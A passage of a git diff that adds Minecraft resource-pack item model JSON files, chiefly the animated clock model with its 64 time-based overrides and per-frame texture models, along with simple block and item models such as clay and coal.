a/src/assets/minecraft/models/item/chiseled_sandstone.json b/src/assets/minecraft/models/item/chiseled_sandstone.json new file mode 100644 index 00000000..f6261725 --- /dev/null +++ b/src/assets/minecraft/models/item/chiseled_sandstone.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/chiseled_sandstone" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/chiseled_stone_bricks.json b/src/assets/minecraft/models/item/chiseled_stone_bricks.json new file mode 100644 index 00000000..ac7e5e66 --- /dev/null +++ b/src/assets/minecraft/models/item/chiseled_stone_bricks.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/chiseled_stone_bricks" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/chorus_flower.json b/src/assets/minecraft/models/item/chorus_flower.json new file mode 100644 index 00000000..dc807298 --- /dev/null +++ b/src/assets/minecraft/models/item/chorus_flower.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/chorus_flower" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/chorus_fruit.json b/src/assets/minecraft/models/item/chorus_fruit.json new file mode 100644 index 00000000..8c84c4f3 --- /dev/null +++ b/src/assets/minecraft/models/item/chorus_fruit.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/chorus_fruit" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/chorus_plant.json b/src/assets/minecraft/models/item/chorus_plant.json new file mode 100644 index 00000000..b0741a69 --- /dev/null +++ b/src/assets/minecraft/models/item/chorus_plant.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/chorus_plant" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clay.json b/src/assets/minecraft/models/item/clay.json new file mode 100644 index 00000000..2510d78a --- /dev/null +++ b/src/assets/minecraft/models/item/clay.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/clay" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clay_ball.json b/src/assets/minecraft/models/item/clay_ball.json new file mode 100644 index 00000000..1cfb12b5 --- /dev/null +++ b/src/assets/minecraft/models/item/clay_ball.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clay_ball" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock.json b/src/assets/minecraft/models/item/clock.json new file mode 100644 index 00000000..407b8aa7 --- /dev/null +++ b/src/assets/minecraft/models/item/clock.json @@ -0,0 +1,73 @@ +{ + "parent": "item/generated", + "textures": { + "layer0": "item/clock_00" + }, + "overrides": [ + { "predicate": { "time": 0.0000000 }, "model": "item/clock" }, + { "predicate": { "time": 0.0078125 }, "model": "item/clock_01" }, + { "predicate": { "time": 0.0234375 }, "model": "item/clock_02" }, + { "predicate": { "time": 0.0390625 }, "model": "item/clock_03" }, + { "predicate": { "time": 0.0546875 }, "model": "item/clock_04" }, + { "predicate": { "time": 0.0703125 }, "model": "item/clock_05" }, + { "predicate": { "time": 0.0859375 }, "model": "item/clock_06" }, + { "predicate": { "time": 0.1015625 }, "model": "item/clock_07" }, + { "predicate": { "time": 0.1171875 }, "model": "item/clock_08" }, + { "predicate": { "time": 0.1328125 }, "model": "item/clock_09" }, + { "predicate": { "time": 0.1484375 }, "model": "item/clock_10" }, + { "predicate": { "time": 0.1640625 }, "model": "item/clock_11" }, + { "predicate": { "time": 0.1796875 }, "model": "item/clock_12" }, + { "predicate": { "time": 0.1953125 }, "model": "item/clock_13" }, + { "predicate": { "time": 0.2109375 }, "model": "item/clock_14" }, + { "predicate": { "time": 0.2265625 }, "model": "item/clock_15" }, + { "predicate": { "time": 0.2421875 }, "model": "item/clock_16" }, + { "predicate": { "time": 0.2578125 }, "model": "item/clock_17" }, + { "predicate": { "time": 0.2734375 }, "model": "item/clock_18" }, + { "predicate": { "time": 0.2890625 }, "model": "item/clock_19" }, + { "predicate": { "time": 0.3046875 }, "model": "item/clock_20" }, + { "predicate": { "time": 0.3203125 }, "model": "item/clock_21" }, + { "predicate": { "time": 0.3359375 }, "model": "item/clock_22" }, + { "predicate": { "time": 0.3515625 }, "model": "item/clock_23" }, + { "predicate": { "time": 0.3671875 }, "model": "item/clock_24" }, + { "predicate": { "time": 0.3828125 }, "model": "item/clock_25" }, + { "predicate": { "time": 0.3984375 }, "model": "item/clock_26" }, + { "predicate": { "time": 0.4140625 }, "model": "item/clock_27" }, + { "predicate": { "time": 0.4296875 }, "model": "item/clock_28" }, + { "predicate": { "time": 0.4453125 }, "model": "item/clock_29" }, + { "predicate": { "time": 0.4609375 }, "model": "item/clock_30" }, + { "predicate": { "time": 0.4765625 }, "model": "item/clock_31" }, + { "predicate": { "time": 0.4921875 }, "model": "item/clock_32" }, + { "predicate": { "time": 0.5078125 }, "model": "item/clock_33" }, + { "predicate": { "time": 0.5234375 }, "model": "item/clock_34" }, + { "predicate": { "time": 0.5390625 }, "model": "item/clock_35" }, + { "predicate": { "time": 0.5546875 }, "model": "item/clock_36" }, + { "predicate": { "time": 0.5703125 }, "model": "item/clock_37" }, + { "predicate": { "time": 0.5859375 }, "model": "item/clock_38" }, + { "predicate": { "time": 0.6015625 }, "model": "item/clock_39" }, + { "predicate": { "time": 0.6171875 }, "model": "item/clock_40" }, + { "predicate": { "time": 0.6328125 }, "model": "item/clock_41" }, + { "predicate": { "time": 0.6484375 }, "model": "item/clock_42" }, + { "predicate": { "time": 0.6640625 }, "model": "item/clock_43" }, + { "predicate": { "time": 0.6796875 }, "model": "item/clock_44" }, + { "predicate": { "time": 0.6953125 }, "model": "item/clock_45" }, + { "predicate": { "time": 0.7109375 }, "model": "item/clock_46" }, + { "predicate": { "time": 0.7265625 }, "model": "item/clock_47" }, + { "predicate": { "time": 0.7421875 }, "model": "item/clock_48" }, + { "predicate": { "time": 0.7578125 }, "model": "item/clock_49" }, + { "predicate": { "time": 0.7734375 }, "model": "item/clock_50" }, + { "predicate": { "time": 0.7890625 }, "model": "item/clock_51" }, + { "predicate": { "time": 0.8046875 }, "model": "item/clock_52" }, + { "predicate": { "time": 0.8203125 }, "model": "item/clock_53" }, + { "predicate": { "time": 0.8359375 }, "model": "item/clock_54" }, + { "predicate": { "time": 0.8515625 }, "model": "item/clock_55" }, + { "predicate": { "time": 0.8671875 }, "model": "item/clock_56" }, + { "predicate": { "time": 0.8828125 }, "model": "item/clock_57" }, + { "predicate": { "time": 0.8984375 }, "model": "item/clock_58" }, + { "predicate": { "time": 0.9140625 }, "model": "item/clock_59" }, + { "predicate": { "time": 0.9296875 }, "model": "item/clock_60" }, + { "predicate": { "time": 0.9453125 }, "model": "item/clock_61" }, + { "predicate": { "time": 0.9609375 }, "model": "item/clock_62" }, + { "predicate": { "time": 0.9765625 }, "model": "item/clock_63" }, + { "predicate": { "time": 0.9921875 }, "model": "item/clock" } + ] +} diff --git a/src/assets/minecraft/models/item/clock_01.json b/src/assets/minecraft/models/item/clock_01.json new file mode 100644 index 00000000..fc6b6293 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_01.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_01" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_02.json b/src/assets/minecraft/models/item/clock_02.json new file mode 100644 index 00000000..329f07c4 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_02.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_02" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_03.json b/src/assets/minecraft/models/item/clock_03.json new file mode 100644 index 00000000..2f727967 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_03.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_03" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_04.json b/src/assets/minecraft/models/item/clock_04.json new file mode 100644 index 00000000..a29f6293 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_04.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_04" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_05.json b/src/assets/minecraft/models/item/clock_05.json new file mode 100644 index 00000000..c054a610 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_05.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_05" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_06.json b/src/assets/minecraft/models/item/clock_06.json new file mode 100644 index 00000000..45d346d6 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_06.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_06" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_07.json b/src/assets/minecraft/models/item/clock_07.json new file mode 100644 index 00000000..6e218b17 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_07.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_07" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_08.json b/src/assets/minecraft/models/item/clock_08.json new file mode 100644 index 00000000..5bacb1d1 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_08.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_08" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_09.json b/src/assets/minecraft/models/item/clock_09.json new file mode 100644 index 00000000..af1b9d9e --- /dev/null +++ b/src/assets/minecraft/models/item/clock_09.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_09" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_10.json b/src/assets/minecraft/models/item/clock_10.json new file mode 100644 index 00000000..f4c66214 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_10.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_10" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_11.json b/src/assets/minecraft/models/item/clock_11.json new file mode 100644 index 00000000..9ddde2ec --- /dev/null +++ b/src/assets/minecraft/models/item/clock_11.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_11" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_12.json b/src/assets/minecraft/models/item/clock_12.json new file mode 100644 index 00000000..42cdfdde --- /dev/null +++ b/src/assets/minecraft/models/item/clock_12.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_12" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_13.json b/src/assets/minecraft/models/item/clock_13.json new file mode 100644 index 00000000..a81db14b --- /dev/null +++ b/src/assets/minecraft/models/item/clock_13.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_13" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_14.json b/src/assets/minecraft/models/item/clock_14.json new file mode 100644 index 00000000..5eb2e365 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_14.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_14" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_15.json b/src/assets/minecraft/models/item/clock_15.json new file mode 100644 index 00000000..34b71c53 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_15.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_15" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_16.json b/src/assets/minecraft/models/item/clock_16.json new file mode 100644 index 00000000..6ad0e2c4 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_16.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_16" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_17.json b/src/assets/minecraft/models/item/clock_17.json new file mode 100644 index 00000000..ce468808 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_17.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_17" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_18.json b/src/assets/minecraft/models/item/clock_18.json new file mode 100644 index 00000000..ecda55f2 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_18.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_18" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_19.json b/src/assets/minecraft/models/item/clock_19.json new file mode 100644 index 00000000..750bf76e --- /dev/null +++ b/src/assets/minecraft/models/item/clock_19.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_19" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_20.json b/src/assets/minecraft/models/item/clock_20.json new file mode 100644 index 00000000..aa1136d5 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_20.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_20" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_21.json b/src/assets/minecraft/models/item/clock_21.json new file mode 100644 index 00000000..aabcd130 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_21.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_21" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_22.json b/src/assets/minecraft/models/item/clock_22.json new file mode 100644 index 00000000..0c9cfe8e --- /dev/null +++ b/src/assets/minecraft/models/item/clock_22.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_22" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_23.json b/src/assets/minecraft/models/item/clock_23.json new file mode 100644 index 00000000..18752a4c --- /dev/null +++ b/src/assets/minecraft/models/item/clock_23.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_23" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_24.json b/src/assets/minecraft/models/item/clock_24.json new file mode 100644 index 00000000..7e875df9 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_24.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_24" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_25.json b/src/assets/minecraft/models/item/clock_25.json new file mode 100644 index 00000000..4c939e6a --- /dev/null +++ b/src/assets/minecraft/models/item/clock_25.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_25" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_26.json b/src/assets/minecraft/models/item/clock_26.json new file mode 100644 index 00000000..8039bdef --- /dev/null +++ b/src/assets/minecraft/models/item/clock_26.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_26" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_27.json b/src/assets/minecraft/models/item/clock_27.json new file mode 100644 index 00000000..76fd7d6e --- /dev/null +++ b/src/assets/minecraft/models/item/clock_27.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_27" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_28.json b/src/assets/minecraft/models/item/clock_28.json new file mode 100644 index 00000000..ef5c699b --- /dev/null +++ b/src/assets/minecraft/models/item/clock_28.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_28" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_29.json b/src/assets/minecraft/models/item/clock_29.json new file mode 100644 index 00000000..f95d697f --- /dev/null +++ b/src/assets/minecraft/models/item/clock_29.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_29" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_30.json b/src/assets/minecraft/models/item/clock_30.json new file mode 100644 index 00000000..328a5161 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_30.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_30" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_31.json b/src/assets/minecraft/models/item/clock_31.json new file mode 100644 index 00000000..28b91d10 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_31.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_31" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_32.json b/src/assets/minecraft/models/item/clock_32.json new file mode 100644 index 00000000..c6d18099 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_32.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_32" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_33.json b/src/assets/minecraft/models/item/clock_33.json new file mode 100644 index 00000000..c5a1932f --- /dev/null +++ b/src/assets/minecraft/models/item/clock_33.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_33" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_34.json b/src/assets/minecraft/models/item/clock_34.json new file mode 100644 index 00000000..584f10d3 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_34.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_34" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_35.json b/src/assets/minecraft/models/item/clock_35.json new file mode 100644 index 00000000..aad78040 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_35.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_35" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_36.json b/src/assets/minecraft/models/item/clock_36.json new file mode 100644 index 00000000..d1a8c92b --- /dev/null +++ b/src/assets/minecraft/models/item/clock_36.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_36" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_37.json b/src/assets/minecraft/models/item/clock_37.json new file mode 100644 index 00000000..ef30c823 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_37.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_37" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_38.json b/src/assets/minecraft/models/item/clock_38.json new file mode 100644 index 00000000..243825ac --- /dev/null +++ b/src/assets/minecraft/models/item/clock_38.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_38" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_39.json b/src/assets/minecraft/models/item/clock_39.json new file mode 100644 index 00000000..59de1c0a --- /dev/null +++ b/src/assets/minecraft/models/item/clock_39.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_39" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_40.json b/src/assets/minecraft/models/item/clock_40.json new file mode 100644 index 00000000..1c629d8f --- /dev/null +++ b/src/assets/minecraft/models/item/clock_40.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_40" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_41.json b/src/assets/minecraft/models/item/clock_41.json new file mode 100644 index 00000000..646d162e --- /dev/null +++ b/src/assets/minecraft/models/item/clock_41.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_41" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_42.json b/src/assets/minecraft/models/item/clock_42.json new file mode 100644 index 00000000..8f3f38d1 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_42.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_42" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_43.json b/src/assets/minecraft/models/item/clock_43.json new file mode 100644 index 00000000..4930ee49 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_43.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_43" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_44.json b/src/assets/minecraft/models/item/clock_44.json new file mode 100644 index 00000000..e98964da --- /dev/null +++ b/src/assets/minecraft/models/item/clock_44.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_44" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_45.json b/src/assets/minecraft/models/item/clock_45.json new file mode 100644 index 00000000..dd8a50ea --- /dev/null +++ b/src/assets/minecraft/models/item/clock_45.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_45" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_46.json b/src/assets/minecraft/models/item/clock_46.json new file mode 100644 index 00000000..7bc0f9be --- /dev/null +++ b/src/assets/minecraft/models/item/clock_46.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_46" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_47.json b/src/assets/minecraft/models/item/clock_47.json new file mode 100644 index 00000000..97835fac --- /dev/null +++ b/src/assets/minecraft/models/item/clock_47.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_47" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_48.json b/src/assets/minecraft/models/item/clock_48.json new file mode 100644 index 00000000..61740813 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_48.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_48" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_49.json b/src/assets/minecraft/models/item/clock_49.json new file mode 100644 index 00000000..3c6067e6 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_49.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_49" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_50.json b/src/assets/minecraft/models/item/clock_50.json new file mode 100644 index 00000000..3e30e1d8 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_50.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_50" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_51.json b/src/assets/minecraft/models/item/clock_51.json new file mode 100644 index 00000000..45af5151 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_51.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_51" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_52.json b/src/assets/minecraft/models/item/clock_52.json new file mode 100644 index 00000000..9a28ead0 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_52.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_52" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_53.json b/src/assets/minecraft/models/item/clock_53.json new file mode 100644 index 00000000..85176573 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_53.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_53" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_54.json b/src/assets/minecraft/models/item/clock_54.json new file mode 100644 index 00000000..096b67a5 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_54.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_54" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_55.json b/src/assets/minecraft/models/item/clock_55.json new file mode 100644 index 00000000..730b22c0 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_55.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_55" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_56.json b/src/assets/minecraft/models/item/clock_56.json new file mode 100644 index 00000000..ad087180 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_56.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_56" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_57.json b/src/assets/minecraft/models/item/clock_57.json new file mode 100644 index 00000000..47711b17 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_57.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_57" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_58.json b/src/assets/minecraft/models/item/clock_58.json new file mode 100644 index 00000000..420370ea --- /dev/null +++ b/src/assets/minecraft/models/item/clock_58.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_58" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_59.json b/src/assets/minecraft/models/item/clock_59.json new file mode 100644 index 00000000..d8ca2ed3 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_59.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_59" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_60.json b/src/assets/minecraft/models/item/clock_60.json new file mode 100644 index 00000000..2b50d056 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_60.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_60" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_61.json b/src/assets/minecraft/models/item/clock_61.json new file mode 100644 index 00000000..c0cba965 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_61.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_61" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_62.json b/src/assets/minecraft/models/item/clock_62.json new file mode 100644 index 00000000..cb92524b --- /dev/null +++ b/src/assets/minecraft/models/item/clock_62.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_62" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/clock_63.json b/src/assets/minecraft/models/item/clock_63.json new file mode 100644 index 00000000..db6691c9 --- /dev/null +++ b/src/assets/minecraft/models/item/clock_63.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/clock_63" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/coal.json b/src/assets/minecraft/models/item/coal.json new file mode 100644 index 00000000..551d462e --- /dev/null +++ b/src/assets/minecraft/models/item/coal.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/coal" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/coal_block.json b/src/assets/minecraft/models/item/coal_block.json new file mode 100644 index 00000000..ee242673 --- /dev/null +++ b/src/assets/minecraft/models/item/coal_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/coal_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/coal_ore.json b/src/assets/minecraft/models/item/coal_ore.json new file mode 100644 index 00000000..d6971d35 --- /dev/null +++ b/src/assets/minecraft/models/item/coal_ore.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/coal_ore" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/coarse_dirt.json b/src/assets/minecraft/models/item/coarse_dirt.json new file mode 100644 index 00000000..797b7cc7 --- /dev/null +++ b/src/assets/minecraft/models/item/coarse_dirt.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/coarse_dirt" +} \ No newline at end of file diff --git 